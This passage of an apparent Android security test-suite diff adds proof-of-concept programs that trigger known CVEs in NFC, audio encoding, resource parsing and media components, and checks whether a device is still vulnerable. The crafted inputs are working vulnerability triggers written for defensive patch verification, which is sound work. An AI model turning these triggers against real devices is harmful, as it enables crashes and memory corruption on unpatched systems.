extern tRW_CB rw_cb;
void rw_init(void);
void rw_t2t_handle_rsp(uint8_t* p_data);
@@ -28,6 +38,17 @@
}
int main() {
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigabrt_handler;
+ sigaction(SIGABRT, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
tRW_T2T_CB* p_t2t = &rw_cb.tcb.t2t;
rw_init();
rw_cb.p_cback = &poc_cback;
@@ -38,6 +59,8 @@
p_t2t->bytes_count = 1;
p_t2t->num_lockbytes = RW_T2T_MAX_LOCK_BYTES;
uint8_t data[T2T_READ_DATA_LEN];
+ isTestInProgress = true;
rw_t2t_handle_rsp(data);
+ isTestInProgress = false;
return EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/Android.bp
similarity index 80%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/Android.bp
index bcbf54f..31fbfd2 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -20,7 +20,12 @@
}
cc_test {
- name: "CVE-2020-29368",
+ name: "CVE-2020-0458",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libaudiospdif",
+ ],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/poc.cpp
new file mode 100644
index 0000000..dbb4ee5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/poc.cpp
@@ -0,0 +1,75 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <audio_utils/spdif/SPDIFEncoder.h>
+#include "../includes/common.h"
+
+// Taken as a reference from audio_utils/tests/spdif_tests.cpp "MySPDIFEncoder"
+class PocSPDIFEncoder : public android::SPDIFEncoder {
+ public:
+
+ explicit PocSPDIFEncoder(audio_format_t format)
+ : SPDIFEncoder(format) {
+ }
+
+ PocSPDIFEncoder() = default;
+
+ size_t getBurstBufferSizeBytes() const {
+ return mBurstBufferSizeBytes;
+ }
+
+ size_t getByteCursor() const {
+ return mByteCursor;
+ }
+
+ android::FrameScanner *getFramer() const {
+ return mFramer;
+ }
+
+ size_t getPayloadBytesPending() const {
+ return mPayloadBytesPending;
+ }
+
+ ssize_t writeOutput(const void*, size_t numBytes) override {
+ mOutputSizeBytes = numBytes;
+ return numBytes;
+ }
+
+ size_t mOutputSizeBytes = 0;
+};
+
+int main() {
+ PocSPDIFEncoder encoder(AUDIO_FORMAT_E_AC3);
+
+ // Beginning of the file channelcheck_48k6ch.eac3 with frame size
+ // forced to zero
+ uint8_t buf[] = { 0x0B, 0x77, 0x00, 0x00, 0x3F, 0x85, 0x7F, 0xE8, 0x1E,
+ 0x40, 0x82, 0x10, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03,
+ 0xFC, 0x60, 0x80, 0x7E, 0x59, 0x00, 0xFC, 0xF3, 0xCF, 0x01, 0xF9,
+ 0xE7 };
+ encoder.write(buf, sizeof(buf));
+
+ size_t bufferSize = encoder.getBurstBufferSizeBytes();
+
+ // If vulnerability is present, 'mPayloadBytesPending' will be assigned
+ // a large overflowed value
+ size_t pendingBytes = encoder.getPayloadBytesPending();
+
+ // 'mBurstBufferSizeBytes' shouldn't be lesser than 'mPayloadBytesPending',
+ // this will happen if 'mPayloadBytesPending' holds a overflowed value
+ return (bufferSize < pendingBytes) ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/Android.bp
similarity index 96%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
rename to hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/Android.bp
index bcbf54f..6595bcc 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/Android.bp
@@ -20,7 +20,7 @@
}
cc_test {
- name: "CVE-2020-29368",
+ name: "CVE-2020-29374",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
srcs: ["poc.cpp",],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/poc.cpp
similarity index 100%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp
rename to hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/poc.cpp
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp
index 700935c..5033b2e 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
index 947f46a..bb3bdc2 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,74 +14,116 @@
* limitations under the License.
*/
+#include <../includes/common.h>
+#include <../includes/memutils.h>
#include <nfc_int.h>
#include <rw_int.h>
#define RW_MFC_STATE_READ_NDEF 0x03
#define RW_MFC_SUBSTATE_READ_BLOCK 0x03
+#define RW_MFC_DATA_LEN 0x10
+#define P_MFC_NDEF_LENGTH 1024
extern tRW_CB rw_cb;
+tNFC_CONN *p_data = nullptr;
+tRW_MFC_CB *p_mfc = nullptr;
-void GKI_freebuf(void*) {
+char enable_selective_overload = ENABLE_NONE;
+
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (isTestInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
}
-void GKI_start_timer(uint8_t, int32_t, bool) {
+void GKI_freebuf(void *) {}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+
+void GKI_stop_timer(uint8_t) {}
+
+void cback(tRW_EVENT, tRW_DATA *) {}
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+ (void)event;
+ (void)p_rw_data;
}
-void GKI_stop_timer(uint8_t) {
-}
+void exit_handler(void) {
+ if (p_data) {
+ if (p_data->data.p_data) {
+ free(p_data->data.p_data);
+ p_data->data.p_data = nullptr;
+ }
+ free(p_data);
+ p_data = nullptr;
+ }
-void cback(tRW_EVENT, tRW_DATA*) {
+ if (p_mfc) {
+ if (p_mfc->p_ndef_buffer) {
+ free(p_mfc->p_ndef_buffer);
+ p_mfc->p_ndef_buffer = nullptr;
+ }
+ free(p_mfc);
+ p_mfc = nullptr;
+ }
}
int main() {
- tRW_MFC_CB* p_mfc = &rw_cb.tcb.mfc;
+ atexit(exit_handler);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+ p_mfc = &rw_cb.tcb.mfc;
GKI_init();
rw_init();
uint8_t selres = 1;
- uint8_t uid[MFC_UID_LEN] = { 1 };
- if (rw_mfc_select(selres, uid) != NFC_STATUS_OK) {
- return EXIT_FAILURE;
- }
+ uint8_t uid[MFC_UID_LEN] = {1};
+
+ enable_selective_overload = ENABLE_MALLOC_CHECK;
+ FAIL_CHECK(rw_mfc_select(selres, uid) == NFC_STATUS_OK);
p_mfc->state = RW_MFC_STATE_READ_NDEF;
p_mfc->substate = RW_MFC_SUBSTATE_READ_BLOCK;
- tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
- tNFC_CONN* p_data = (tNFC_CONN*) malloc(sizeof(tNFC_CONN));
- if (!p_data) {
- return EXIT_FAILURE;
- }
+ p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+ FAIL_CHECK(p_data);
- p_data->data.p_data = (NFC_HDR*) malloc(sizeof(uint8_t) * 16);
- if (!(p_data->data.p_data)) {
- free(p_data);
- return EXIT_FAILURE;
- }
+ p_data->data.p_data = (NFC_HDR *)malloc(sizeof(uint8_t) * 16);
+ FAIL_CHECK(p_data->data.p_data);
p_data->data.status = NFC_STATUS_OK;
tNFC_CONN_EVT event = NFC_DATA_CEVT;
- NFC_HDR* mfc_data = (NFC_HDR*) p_data->data.p_data;
- mfc_data->len = 0x10;
+ NFC_HDR *mfc_data = (NFC_HDR *)p_data->data.p_data;
+ mfc_data->len = RW_MFC_DATA_LEN;
mfc_data->offset = 0;
- p_mfc->ndef_length = 1024;
- p_mfc->p_ndef_buffer = (uint8_t*) malloc(sizeof(uint8_t) * 16);
- if (!(p_mfc->p_ndef_buffer)) {
- free(p_data->data.p_data);
- free(p_data);
- return EXIT_FAILURE;
- }
+ p_mfc->ndef_length = P_MFC_NDEF_LENGTH;
+ p_mfc->p_ndef_buffer = (uint8_t *)malloc(sizeof(uint8_t) * 16);
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+ FAIL_CHECK(p_mfc->p_ndef_buffer);
rw_cb.p_cback = cback;
+ isTestInProgress = true;
p_cb->p_cback(0, event, p_data);
+ isTestInProgress = false;
- free(p_mfc->p_ndef_buffer);
- free(p_data->data.p_data);
- free(p_data);
return EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp
new file mode 100644
index 0000000..8fd6801
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2021-39664",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults",
+ ],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ shared_libs: [
+ "libandroidfw",
+ "libui",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp
new file mode 100644
index 0000000..0c477f6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp
@@ -0,0 +1,65 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <androidfw/ApkAssets.h>
+
+#include <vector>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+using android::LoadedArsc;
+
+bool testInProgress = false;
+char enable_selective_overload = ENABLE_NONE;
+FILE *file = nullptr;
+
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ _exit(EXIT_FAILURE);
+}
+
+void exitHandler(void) {
+ if (file) {
+ fclose(file);
+ file = nullptr;
+ }
+}
+
+int main(int argc, char **argv) {
+ atexit(exitHandler);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+ FAIL_CHECK(argc >= 2);
+ file = fopen(argv[1], "r");
+ FAIL_CHECK(file);
+ fseek(file, 0, SEEK_END);
+ size_t size = ftell(file);
+ fseek(file, 0, SEEK_SET);
+ enable_selective_overload = ENABLE_ALL;
+ std::vector<uint8_t> buffer(size);
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+ FAIL_CHECK(fread((void *)buffer.data(), 1, size, file) == size);
+ testInProgress = true;
+ LoadedArsc::Load(buffer.data(), size);
+ testInProgress = false;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp
index bcbf54f..0597cdf 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -20,7 +20,19 @@
}
cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+ name: "CVE-2021-39665",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults"
+ ],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libutils",
+ "libmediaplayerservice",
+ "libstagefright_foundation",
+ ],
+ include_dirs: [
+ "frameworks/av/media/libstagefright/rtsp",
+ ],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp
new file mode 100644
index 0000000..a008005
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp
@@ -0,0 +1,84 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dlfcn.h>
+#include "../includes/common.h"
+
+#define private public
+#include "AAVCAssembler.h"
+
+using namespace android;
+
+bool isOverloadingEnabled = false;
+
+bool isTestInProgress = false;
+
+struct sigaction newAction, oldAction;
+
+static void *(*realMalloc)(size_t) = nullptr;
+
+void *malloc(size_t size) {
+ if (!realMalloc) {
+ realMalloc = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc");
+ if (!realMalloc) {
+ return nullptr;
+ }
+ }
+ if (isOverloadingEnabled && (size == 0)) {
+ size_t pageSize = sysconf(_SC_PAGE_SIZE);
+ void *ptr = memalign(pageSize, pageSize);
+ mprotect(ptr, pageSize, PROT_NONE);
+ return ptr;
+ }
+ return realMalloc(size);
+}
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (isTestInProgress && info->si_signo == SIGSEGV) {
+ (*oldAction.sa_sigaction)(signum, info, context);
+ return;
+ }
+ _exit(EXIT_FAILURE);
+}
+
+int main() {
+ sigemptyset(&newAction.sa_mask);
+ newAction.sa_flags = SA_SIGINFO;
+ newAction.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &newAction, &oldAction);
+
+ sp<ABuffer> buffer(new ABuffer(16));
+ FAIL_CHECK(buffer != nullptr);
+
+ sp<AMessage> meta = buffer->meta();
+ FAIL_CHECK(meta != nullptr);
+
+ uint32_t rtpTime = 16;
+ meta->setInt32("rtp-time", rtpTime);
+
+ AAVCAssembler *assembler = new AAVCAssembler(meta);
+ FAIL_CHECK(assembler != nullptr);
+
+ isOverloadingEnabled = true;
+ sp<ABuffer> zeroSizedBuffer(new ABuffer(0));
+ isOverloadingEnabled = false;
+
+ isTestInProgress = true;
+ assembler->checkSpsUpdated(zeroSizedBuffer);
+ isTestInProgress = false;
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp
similarity index 66%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp
index bcbf54f..b4bdd3c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp
@@ -20,7 +20,20 @@
}
cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+ name: "CVE-2021-39675",
+ compile_multilib: "64",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults",
+ ],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+ include_dirs: [
+ "system/nfc/src/include",
+ "system/nfc/src/gki/common",
+ "system/nfc/src/gki/ulinux",
+ ],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp
similarity index 64%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp
index bcbf54f..78ebda8 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp
@@ -1,26 +1,22 @@
-/*
+/**
* Copyright (C) 2021 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at:
+ * You may obtain a copy of the License at
*
- * http://www.apache.org/licenses/LICENSE-2.0
+ * http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
- *
*/
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
+#include "../includes/common.h"
+#include "gki.h"
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+int main() {
+ return (GKI_getbuf(USHRT_MAX) == nullptr) ? EXIT_SUCCESS : EXIT_VULNERABLE;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/Android.bp
similarity index 75%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/Android.bp
index bcbf54f..109a665 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -20,7 +20,15 @@
}
cc_test {
- name: "CVE-2020-29368",
+ name: "CVE-2021-39804",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libbinder",
+ "libjnigraphics",
+ "libutils",
+ "libui",
+ ],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/poc.cpp
new file mode 100644
index 0000000..db09dee
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/poc.cpp
@@ -0,0 +1,59 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// This PoC is written taking reference from
+// frameworks/base/native/graphics/jni/imagedecoder.cpp
+
+#include "../includes/common.h"
+#include <android/imagedecoder.h>
+#include <binder/IPCThreadState.h>
+#include <vector>
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
+int main(int argc, char **argv) {
+ FAIL_CHECK(argc >= 2);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+ android::ProcessState::self()->startThreadPool();
+ FILE *file = fopen(argv[1], "r");
+ FAIL_CHECK(file);
+ fseek(file, 0, SEEK_END);
+ size_t size = ftell(file);
+ fseek(file, 0, SEEK_SET);
+ std::vector<uint8_t> buffer(size);
+ fread((void *)buffer.data(), 1, size, file);
+ fclose(file);
+ testInProgress = true;
+ AImageDecoder *decoder;
+ if (AImageDecoder_createFromBuffer(buffer.data(), size, &decoder) ==
+ ANDROID_IMAGE_DECODER_SUCCESS) {
+ AImageDecoder_delete(decoder);
+ }
+ testInProgress = false;
+ FAIL_CHECK(decoder);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
index 63a5370..75bbd0a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
@@ -23,10 +23,10 @@
import org.junit.Before;
import org.junit.runner.RunWith;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183613671 extends BaseHostJUnit4Test {
+public final class Bug_183613671 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.BUG_183613671";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183613671.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
index e31cb47..adf6103 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
@@ -25,10 +25,10 @@
import org.junit.runner.RunWith;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183963253 extends BaseHostJUnit4Test {
+public final class Bug_183963253 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.BUG_183963253";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183963253.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
index 31da488..b127c85 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,14 +14,19 @@
* limitations under the License.
*/
+
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.compatibility.common.util.CrashUtils;
-import com.android.tradefed.device.ITestDevice;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
+
+import java.util.regex.Pattern;
+
import org.junit.runner.RunWith;
+import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
public class CVE_2018_9558 extends SecurityTestCase {
@@ -29,16 +34,23 @@
/**
* b/112161557
* Vulnerability Behaviour: SIGABRT in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: rw_t2t_handle_tlv_detect_rsp (As per AOSP code)
*/
@Test
@AsbSecurityTest(cveBugId = 112161557)
public void testPocCVE_2018_9558() throws Exception {
AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
+ String signals[] = {CrashUtils.SIGABRT};
String binaryName = "CVE-2018-9558";
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+ "rw_t2t_handle_tlv_detect_rsp"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
new file mode 100644
index 0000000..181d660
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
